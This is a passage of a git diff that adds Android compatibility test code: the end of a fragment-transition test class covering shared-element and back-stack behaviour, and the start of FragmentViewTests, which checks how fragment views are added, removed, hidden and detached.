+        TransitionFragment fragment1 = setupInitialFragment();
+        TransitionFragment fragment2 = new TransitionFragment();
+        fragment2.setLayoutId(R.layout.scene2);
+
+        final View startBlue = findBlue();
+        final View startGreen = findGreen();
+
+        mFragmentManager.beginTransaction()
+                .setReorderingAllowed(mReordered)
+                .add(R.id.fragmentContainer, fragment2)
+                .detach(fragment1)
+                .addToBackStack(null)
+                .commit();
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        final View endGreen = findViewById(fragment2, R.id.greenSquare);
+        final View endBlue = findViewById(fragment2, R.id.blueSquare);
+
+        verifyAndClearTransition(fragment1.exitTransition, null, startGreen, startBlue);
+        verifyNoOtherTransitions(fragment1);
+
+        verifyAndClearTransition(fragment2.enterTransition, null, endGreen, endBlue);
+        verifyNoOtherTransitions(fragment2);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        final View reenterBlue = findBlue();
+        final View reenterGreen = findGreen();
+
+        verifyAndClearTransition(fragment1.reenterTransition, null, reenterGreen, reenterBlue);
+        verifyNoOtherTransitions(fragment1);
+
+        verifyAndClearTransition(fragment2.returnTransition, null, endGreen, endBlue);
+        verifyNoOtherTransitions(fragment2);
+    }
+
+    // Ensure that shared element without matching transition name doesn't error out
+    @Test
+    public void sharedElementMismatch() throws Throwable {
+        final TransitionFragment fragment1 = setupInitialFragment();
+
+        // Now do a transition to scene2
+        TransitionFragment fragment2 = new TransitionFragment();
+        fragment2.setLayoutId(R.layout.scene2);
+
+        final View startBlue = findBlue();
+        final View startGreen = findGreen();
+        final Rect startBlueBounds = getBoundsOnScreen(startBlue);
+
+        mFragmentManager.beginTransaction()
+                .addSharedElement(startBlue, "fooSquare")
+                .replace(R.id.fragmentContainer, fragment2)
+                .setReorderingAllowed(mReordered)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        fragment1.waitForTransition();
+        fragment2.waitForTransition();
+
+        final View endBlue = findBlue();
+        final View endGreen = findGreen();
+
+        if (mReordered) {
+            verifyAndClearTransition(fragment1.exitTransition, null, startGreen, startBlue);
+        } else {
+            verifyAndClearTransition(fragment1.exitTransition, startBlueBounds, startGreen);
+            verifyAndClearTransition(fragment2.sharedElementEnter, startBlueBounds, startBlue);
+        }
+        verifyNoOtherTransitions(fragment1);
+
+        verifyAndClearTransition(fragment2.enterTransition, null, endGreen, endBlue);
+        verifyNoOtherTransitions(fragment2);
+    }
+
+    // Ensure that using the same source or target shared element results in an exception.
+    @Test
+    public void sharedDuplicateTargetNames() throws Throwable {
+        setupInitialFragment();
+
+        final View startBlue = findBlue();
+        final View startGreen = findGreen();
+
+        FragmentTransaction ft = mFragmentManager.beginTransaction();
+        ft.addSharedElement(startBlue, "blueSquare");
+        try {
+            ft.addSharedElement(startGreen, "blueSquare");
+            fail("Expected IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try {
+            ft.addSharedElement(startBlue, "greenSquare");
+            fail("Expected IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    // Test that invisible fragment views don't participate in transitions
+    @Test
+    public void invisibleNoTransitions() throws Throwable {
+        if (!mReordered) {
+            return; // only reordered transitions can avoid interaction
+        }
+        // enter transition
+        TransitionFragment fragment = new InvisibleFragment();
+        fragment.setLayoutId(R.layout.scene1);
+        mFragmentManager.beginTransaction()
+                .setReorderingAllowed(mReordered)
+                .add(R.id.fragmentContainer, fragment)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        fragment.waitForNoTransition();
+        verifyNoOtherTransitions(fragment);
+
+        // exit transition
+        mFragmentManager.beginTransaction()
+                .setReorderingAllowed(mReordered)
+                .remove(fragment)
+                .addToBackStack(null)
+                .commit();
+
+        fragment.waitForNoTransition();
+        verifyNoOtherTransitions(fragment);
+
+        // reenter transition
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+        fragment.waitForNoTransition();
+        verifyNoOtherTransitions(fragment);
+
+        // return transition
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+        fragment.waitForNoTransition();
+        verifyNoOtherTransitions(fragment);
+    }
+
+    // No crash when transitioning a shared element and there is no shared element transition.
+    @Test
+    public void noSharedElementTransition() throws Throwable {
+        TransitionFragment fragment1 = setupInitialFragment();
+
+        final View startBlue = findBlue();
+        final View startGreen = findGreen();
+        final Rect startBlueBounds = getBoundsOnScreen(startBlue);
+
+        TransitionFragment fragment2 = new TransitionFragment();
+        fragment2.setLayoutId(R.layout.scene2);
+
+        mFragmentManager.beginTransaction()
+                .setReorderingAllowed(mReordered)
+                .addSharedElement(startBlue, "blueSquare")
+                .replace(R.id.fragmentContainer, fragment2)
+                .addToBackStack(null)
+                .commit();
+
+        fragment1.waitForTransition();
+        fragment2.waitForTransition();
+        final View midGreen = findGreen();
+        final View midBlue = findBlue();
+        final Rect midBlueBounds = getBoundsOnScreen(midBlue);
+        verifyAndClearTransition(fragment1.exitTransition, startBlueBounds, startGreen);
+        verifyAndClearTransition(fragment2.sharedElementEnter, startBlueBounds, startBlue, midBlue);
+        verifyAndClearTransition(fragment2.enterTransition, midBlueBounds, midGreen);
+        verifyNoOtherTransitions(fragment1);
+        verifyNoOtherTransitions(fragment2);
+
+        final TransitionFragment fragment3 = new TransitionFragment();
+        fragment3.setLayoutId(R.layout.scene3);
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mFragmentManager.popBackStack();
+                mFragmentManager.beginTransaction()
+                        .setReorderingAllowed(mReordered)
+                        .replace(R.id.fragmentContainer, fragment3)
+                        .addToBackStack(null)
+                        .commit();
+            }
+        });
+
+        // This shouldn't give an error.
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        fragment2.waitForTransition();
+        // It does not transition properly for ordered transactions, though.
+        if (mReordered) {
+            verifyAndClearTransition(fragment2.returnTransition, null, midGreen, midBlue);
+            final View endGreen = findGreen();
+            final View endBlue = findBlue();
+            final View endRed = findRed();
+            verifyAndClearTransition(fragment3.enterTransition, null, endGreen, endBlue, endRed);
+            verifyNoOtherTransitions(fragment2);
+            verifyNoOtherTransitions(fragment3);
+        } else {
+            // fragment3 doesn't get a transition since it conflicts with the pop transition
+            verifyNoOtherTransitions(fragment3);
+            // Everything else is just doing its best. Reordered transactions can't handle
+            // multiple transitions acting together except for popping multiple together.
+        }
+    }
+
+    private TransitionFragment setupInitialFragment() throws Throwable {
+        TransitionFragment fragment1 = new TransitionFragment();
+        fragment1.setLayoutId(R.layout.scene1);
+        mFragmentManager.beginTransaction()
+                .setReorderingAllowed(mReordered)
+                .add(R.id.fragmentContainer, fragment1)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        assertEquals(1, mOnBackStackChangedTimes);
+        fragment1.waitForTransition();
+        final View blueSquare1 = findBlue();
+        final View greenSquare1 = findGreen();
+        verifyAndClearTransition(fragment1.enterTransition, null, blueSquare1, greenSquare1);
+        verifyNoOtherTransitions(fragment1);
+        return fragment1;
+    }
+
+    private View findViewById(Fragment fragment, int id) {
+        return fragment.getView().findViewById(id);
+    }
+
+    private View findGreen() {
+        return mActivityRule.getActivity().findViewById(R.id.greenSquare);
+    }
+
+    private View findBlue() {
+        return mActivityRule.getActivity().findViewById(R.id.blueSquare);
+    }
+
+    private View findRed() {
+        return mActivityRule.getActivity().findViewById(R.id.redSquare);
+    }
+
+    private void verifyAndClearTransition(TargetTracking transition, Rect epicenter,
+            View... expected) {
+        if (epicenter == null) {
+            assertNull(transition.getCapturedEpicenter());
+        } else {
+            assertEquals(epicenter, transition.getCapturedEpicenter());
+        }
+        ArrayList<View> targets = transition.getTrackedTargets();
+        String errorMessage = "Expected: [" + expected.length + "] {" +
+                Arrays.stream(expected).map(v -> v.toString()).collect(Collectors.joining(", ")) +
+                "}, but got: [" + targets.size() + "] {" +
+                targets.stream().map(v -> v.toString()).collect(Collectors.joining(", ")) +
+                "}";
+        assertEquals(errorMessage, expected.length, targets.size());
+        for (View view : expected) {
+            assertTrue(errorMessage, targets.contains(view));
+        }
+        transition.clearTargets();
+    }
+
+    private void verifyNoOtherTransitions(TransitionFragment fragment) {
+        assertEquals(0, fragment.enterTransition.targets.size());
+        assertEquals(0, fragment.exitTransition.targets.size());
+        assertEquals(0, fragment.reenterTransition.targets.size());
+        assertEquals(0, fragment.returnTransition.targets.size());
+        assertEquals(0, fragment.sharedElementEnter.targets.size());
+        assertEquals(0, fragment.sharedElementReturn.targets.size());
+    }
+
+    private void verifyTransition(TransitionFragment from, TransitionFragment to,
+            String sharedElementName) throws Throwable {
+        final int startOnBackStackChanged = mOnBackStackChangedTimes;
+        final View startBlue = findBlue();
+        final View startGreen = findGreen();
+        final View startRed = findRed();
+
+        final Rect startBlueRect = getBoundsOnScreen(startBlue);
+
+        mFragmentManager.beginTransaction()
+                .setReorderingAllowed(mReordered)
+                .addSharedElement(startBlue, sharedElementName)
+                .replace(R.id.fragmentContainer, to)
+                .addToBackStack(null)
+                .commit();
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        assertEquals(startOnBackStackChanged + 1, mOnBackStackChangedTimes);
+
+        to.waitForTransition();
+        final View endGreen = findGreen();
+        final View endBlue = findBlue();
+        final View endRed = findRed();
+        final Rect endBlueRect = getBoundsOnScreen(endBlue);
+
+        if (startRed != null) {
+            verifyAndClearTransition(from.exitTransition, startBlueRect, startGreen, startRed);
+        } else {
+            verifyAndClearTransition(from.exitTransition, startBlueRect, startGreen);
+        }
+        verifyNoOtherTransitions(from);
+
+        if (endRed != null) {
+            verifyAndClearTransition(to.enterTransition, endBlueRect, endGreen, endRed);
+        } else {
+            verifyAndClearTransition(to.enterTransition, endBlueRect, endGreen);
+        }
+        verifyAndClearTransition(to.sharedElementEnter, startBlueRect, startBlue, endBlue);
+        verifyNoOtherTransitions(to);
+    }
+
+    private void verifyCrossTransition(boolean swapSource,
+            TransitionFragment from1, TransitionFragment from2) throws Throwable {
+        final int startNumOnBackStackChanged = mOnBackStackChangedTimes;
+        final int changesPerOperation = mReordered ? 1 : 2;
+        final TransitionFragment to1 = new TransitionFragment();
+        to1.setLayoutId(R.layout.scene2);
+        final TransitionFragment to2 = new TransitionFragment();
+        to2.setLayoutId(R.layout.scene2);
+
+        final View fromExit1 = findViewById(from1, R.id.greenSquare);
+        final View fromShared1 = findViewById(from1, R.id.blueSquare);
+        final Rect fromSharedRect1 = getBoundsOnScreen(fromShared1);
+
+        final int fromExitId2 = swapSource ? R.id.blueSquare : R.id.greenSquare;
+        final int fromSharedId2 = swapSource ? R.id.greenSquare : R.id.blueSquare;
+        final View fromExit2 = findViewById(from2, fromExitId2);
+        final View fromShared2 = findViewById(from2, fromSharedId2);
+        final Rect fromSharedRect2 = getBoundsOnScreen(fromShared2);
+
+        final String sharedElementName = swapSource ? "blueSquare" : "greenSquare";
+
+        mActivityRule.runOnUiThread(() -> {
+            mFragmentManager.beginTransaction()
+                    .setReorderingAllowed(mReordered)
+                    .addSharedElement(fromShared1, "blueSquare")
+                    .replace(R.id.fragmentContainer1, to1)
+                    .addToBackStack(null)
+                    .commit();
+            mFragmentManager.beginTransaction()
+                    .setReorderingAllowed(mReordered)
+                    .addSharedElement(fromShared2, sharedElementName)
+                    .replace(R.id.fragmentContainer2, to2)
+                    .addToBackStack(null)
+                    .commit();
+        });
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertEquals(startNumOnBackStackChanged + changesPerOperation, mOnBackStackChangedTimes);
+
+        from1.waitForTransition();
+        from2.waitForTransition();
+        to1.waitForTransition();
+        to2.waitForTransition();
+
+        final View toEnter1 = findViewById(to1, R.id.greenSquare);
+        final View toShared1 = findViewById(to1, R.id.blueSquare);
+        final Rect toSharedRect1 = getBoundsOnScreen(toShared1);
+
+        final View toEnter2 = findViewById(to2, fromSharedId2);
+        final View toShared2 = findViewById(to2, fromExitId2);
+        final Rect toSharedRect2 = getBoundsOnScreen(toShared2);
+
+        verifyAndClearTransition(from1.exitTransition, fromSharedRect1, fromExit1);
+        verifyAndClearTransition(from2.exitTransition, fromSharedRect2, fromExit2);
+        verifyNoOtherTransitions(from1);
+        verifyNoOtherTransitions(from2);
+
+        verifyAndClearTransition(to1.enterTransition, toSharedRect1, toEnter1);
+        verifyAndClearTransition(to2.enterTransition, toSharedRect2, toEnter2);
+        verifyAndClearTransition(to1.sharedElementEnter, fromSharedRect1, fromShared1, toShared1);
+        verifyAndClearTransition(to2.sharedElementEnter, fromSharedRect2, fromShared2, toShared2);
+        verifyNoOtherTransitions(to1);
+        verifyNoOtherTransitions(to2);
+
+        // Now pop it back
+        mActivityRule.runOnUiThread(() -> {
+            mFragmentManager.popBackStack();
+            mFragmentManager.popBackStack();
+        });
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        assertEquals(startNumOnBackStackChanged + changesPerOperation + 1,
+                mOnBackStackChangedTimes);
+
+        from1.waitForTransition();
+        from2.waitForTransition();
+        to1.waitForTransition();
+        to2.waitForTransition();
+
+        final View returnEnter1 = findViewById(from1, R.id.greenSquare);
+        final View returnShared1 = findViewById(from1, R.id.blueSquare);
+
+        final View returnEnter2 = findViewById(from2, fromExitId2);
+        final View returnShared2 = findViewById(from2, fromSharedId2);
+
+        verifyAndClearTransition(to1.returnTransition, toSharedRect1, toEnter1);
+        verifyAndClearTransition(to2.returnTransition, toSharedRect2, toEnter2);
+        verifyAndClearTransition(to1.sharedElementReturn, toSharedRect1, toShared1, returnShared1);
+        verifyAndClearTransition(to2.sharedElementReturn, toSharedRect2, toShared2, returnShared2);
+        verifyNoOtherTransitions(to1);
+        verifyNoOtherTransitions(to2);
+
+        verifyAndClearTransition(from1.reenterTransition, fromSharedRect1, returnEnter1);
+        verifyAndClearTransition(from2.reenterTransition, fromSharedRect2, returnEnter2);
+        verifyNoOtherTransitions(from1);
+        verifyNoOtherTransitions(from2);
+    }
+
+    private void verifyPopTransition(final int numPops, TransitionFragment from,
+            TransitionFragment to, TransitionFragment... others) throws Throwable {
+        final int startOnBackStackChanged = mOnBackStackChangedTimes;
+        final View startBlue = findBlue();
+        final View startGreen = findGreen();
+        final View startRed = findRed();
+        final Rect startSharedRect = getBoundsOnScreen(startBlue);
+
+        mActivityRule.runOnUiThread(() -> {
+            for (int i = 0; i < numPops; i++) {
+                mFragmentManager.popBackStack();
+            }
+        });
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        assertEquals(startOnBackStackChanged + 1, mOnBackStackChangedTimes);
+
+        to.waitForTransition();
+        final View endGreen = findGreen();
+        final View endBlue = findBlue();
+        final View endRed = findRed();
+        final Rect endSharedRect = getBoundsOnScreen(endBlue);
+
+        if (startRed != null) {
+            verifyAndClearTransition(from.returnTransition, startSharedRect, startGreen, startRed);
+        } else {
+            verifyAndClearTransition(from.returnTransition, startSharedRect, startGreen);
+        }
+        verifyAndClearTransition(from.sharedElementReturn, startSharedRect, startBlue, endBlue);
+        verifyNoOtherTransitions(from);
+
+        if (endRed != null) {
+            verifyAndClearTransition(to.reenterTransition, endSharedRect, endGreen, endRed);
+        } else {
+            verifyAndClearTransition(to.reenterTransition, endSharedRect, endGreen);
+        }
+        verifyNoOtherTransitions(to);
+
+        if (others != null) {
+            for (TransitionFragment fragment : others) {
+                verifyNoOtherTransitions(fragment);
+            }
+        }
+    }
+
+    private static Rect getBoundsOnScreen(View view) {
+        final int[] loc = new int[2];
+        view.getLocationOnScreen(loc);
+        return new Rect(loc[0], loc[1], loc[0] + view.getWidth(), loc[1] + view.getHeight());
+    }
+
+    public static class ComplexTransitionFragment extends TransitionFragment {
+        public final TrackingTransition sharedElementEnterTransition1 = new TrackingTransition();
+        public final TrackingTransition sharedElementEnterTransition2 = new TrackingTransition();
+        public final TrackingTransition sharedElementReturnTransition1 = new TrackingTransition();
+        public final TrackingTransition sharedElementReturnTransition2 = new TrackingTransition();
+
+        public final TransitionSet sharedElementEnterTransition = new TransitionSet()
+                .addTransition(sharedElementEnterTransition1)
+                .addTransition(sharedElementEnterTransition2);
+        public final TransitionSet sharedElementReturnTransition = new TransitionSet()
+                .addTransition(sharedElementReturnTransition1)
+                .addTransition(sharedElementReturnTransition2);
+
+        public ComplexTransitionFragment() {
+            sharedElementEnterTransition1.addTarget(R.id.blueSquare);
+            sharedElementEnterTransition2.addTarget(R.id.greenSquare);
+            sharedElementReturnTransition1.addTarget(R.id.blueSquare);
+            sharedElementReturnTransition2.addTarget(R.id.greenSquare);
+            setSharedElementEnterTransition(sharedElementEnterTransition);
+            setSharedElementReturnTransition(sharedElementReturnTransition);
+        }
+    }
+
+    public static class InvisibleFragment extends TransitionFragment {
+        @Override
+        public void onViewCreated(View view, Bundle savedInstanceState) {
+            view.setVisibility(View.INVISIBLE);
+            super.onViewCreated(view, savedInstanceState);
+        }
+    }
+}
diff --git a/tests/fragment/src/android/fragment/cts/FragmentViewTests.java b/tests/fragment/src/android/fragment/cts/FragmentViewTests.java
new file mode 100644
index 0000000..927552d
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/FragmentViewTests.java
@@ -0,0 +1,1055 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.fragment.cts;
+
+import static junit.framework.Assert.*;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Fragment;
+import android.app.FragmentManager;
+import android.os.Bundle;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class FragmentViewTests {
+    @Rule
+    public ActivityTestRule<FragmentTestActivity> mActivityRule =
+            new ActivityTestRule<FragmentTestActivity>(FragmentTestActivity.class);
+
+    // Test that adding a fragment adds the Views in the proper order. Popping the back stack
+    // should remove the correct Views.
+    @Test
+    public void addFragments() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        // One fragment with a view
+        final StrictViewFragment fragment1 = new StrictViewFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer, fragment1).addToBackStack(null).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container, fragment1);
+
+        // Add another on top
+        final StrictViewFragment fragment2 = new StrictViewFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer, fragment2).addToBackStack(null).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container, fragment1, fragment2);
+
+        // Now add two in one transaction:
+        final StrictViewFragment fragment3 = new StrictViewFragment();
+        final StrictViewFragment fragment4 = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment3)
+                .add(R.id.fragmentContainer, fragment4)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container, fragment1, fragment2, fragment3, fragment4);
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container, fragment1, fragment2);
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        assertEquals(1, container.getChildCount());
+        FragmentTestUtil.assertChildren(container, fragment1);
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container);
+    }
+
+    // Add fragments to multiple containers in the same transaction. Make sure that
+    // they pop correctly, too.
+    @Test
+    public void addTwoContainers() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.double_container);
+        ViewGroup container1 = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer1);
+        ViewGroup container2 = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer2);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        final StrictViewFragment fragment1 = new StrictViewFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer1, fragment1).addToBackStack(null).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container1, fragment1);
+
+        final StrictViewFragment fragment2 = new StrictViewFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer2, fragment2).addToBackStack(null).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container2, fragment2);
+
+        final StrictViewFragment fragment3 = new StrictViewFragment();
+        final StrictViewFragment fragment4 = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer1, fragment3)
+                .add(R.id.fragmentContainer2, fragment4)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container1, fragment1, fragment3);
+        FragmentTestUtil.assertChildren(container2, fragment2, fragment4);
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container1, fragment1);
+        FragmentTestUtil.assertChildren(container2, fragment2);
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container1, fragment1);
+        FragmentTestUtil.assertChildren(container2);
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        assertEquals(0, container1.getChildCount());
+    }
+
+    // When you add a fragment that's has already been added, it should throw.
+    @Test
+    public void doubleAdd() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment1 = new StrictViewFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer, fragment1).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                try {
+                    fm.beginTransaction()
+                            .add(R.id.fragmentContainer, fragment1)
+                            .addToBackStack(null)
+                            .commit();
+                    fm.executePendingTransactions();
+                    fail("Adding a fragment that is already added should be an error");
+                } catch (IllegalStateException e) {
+                    // expected
+                }
+            }
+        });
+    }
+
+    // Make sure that removed fragments remove the right Views. Popping the back stack should
+    // add the Views back properly
+    @Test
+    public void removeFragments() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment1 = new StrictViewFragment();
+        final StrictViewFragment fragment2 = new StrictViewFragment();
+        final StrictViewFragment fragment3 = new StrictViewFragment();
+        final StrictViewFragment fragment4 = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1, "1")
+                .add(R.id.fragmentContainer, fragment2, "2")
+                .add(R.id.fragmentContainer, fragment3, "3")
+                .add(R.id.fragmentContainer, fragment4, "4")
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container, fragment1, fragment2, fragment3, fragment4);
+
+        // Remove a view
+        fm.beginTransaction().remove(fragment4).addToBackStack(null).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        assertEquals(3, container.getChildCount());
+        FragmentTestUtil.assertChildren(container, fragment1, fragment2, fragment3);
+
+        // remove another one
+        fm.beginTransaction().remove(fragment2).addToBackStack(null).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container, fragment1, fragment3);
+
+        // Now remove the remaining:
+        fm.beginTransaction()
+                .remove(fragment3)
+                .remove(fragment1)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container);
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        final Fragment replacement1 = fm.findFragmentByTag("1");
+        final Fragment replacement3 = fm.findFragmentByTag("3");
+        FragmentTestUtil.assertChildren(container, replacement1, replacement3);
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        final Fragment replacement2 = fm.findFragmentByTag("2");
+        FragmentTestUtil.assertChildren(container, replacement1, replacement3, replacement2);
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        final Fragment replacement4 = fm.findFragmentByTag("4");
+        FragmentTestUtil.assertChildren(container, replacement1, replacement3, replacement2, replacement4);
+    }
+
+    // Removing a hidden fragment should remove the View and popping should bring it back hidden
+    @Test
+    public void removeHiddenView() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment1 = new StrictViewFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer, fragment1, "1").hide(fragment1).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container, fragment1);
+        assertTrue(fragment1.isHidden());
+
+        fm.beginTransaction().remove(fragment1).addToBackStack(null).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container);
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        final Fragment replacement1 = fm.findFragmentByTag("1");
+        FragmentTestUtil.assertChildren(container, replacement1);
+        assertTrue(replacement1.isHidden());
+        assertEquals(View.GONE, replacement1.getView().getVisibility());
+    }
+
+    // Removing a detached fragment should do nothing to the View and popping should bring
+    // the Fragment back detached
+    @Test
+    public void removeDetatchedView() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment1 = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1, "1")
+                .detach(fragment1)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container);
+        assertTrue(fragment1.isDetached());
+
+        fm.beginTransaction().remove(fragment1).addToBackStack(null).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container);
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        final Fragment replacement1 = fm.findFragmentByTag("1");
+        FragmentTestUtil.assertChildren(container);
+        assertTrue(replacement1.isDetached());
+    }
+
+    // Unlike adding the same fragment twice, you should be able to add and then remove and then
+    // add the same fragment in one transaction.
+    @Test
+    public void addRemoveAdd() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment)
+                .remove(fragment)
+                .add(R.id.fragmentContainer, fragment)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container, fragment);
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container);
+    }
+
+    // Removing a fragment that isn't in should not throw
+    @Test
+    public void removeNotThere() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+        fm.beginTransaction().remove(fragment).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+    }
+
+    // Hide a fragment and its View should be GONE. Then pop it and the View should be VISIBLE
+    @Test
+    public void hideFragment() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer, fragment).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment);
+        assertEquals(View.VISIBLE, fragment.getView().getVisibility());
+
+        fm.beginTransaction().hide(fragment).addToBackStack(null).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment);
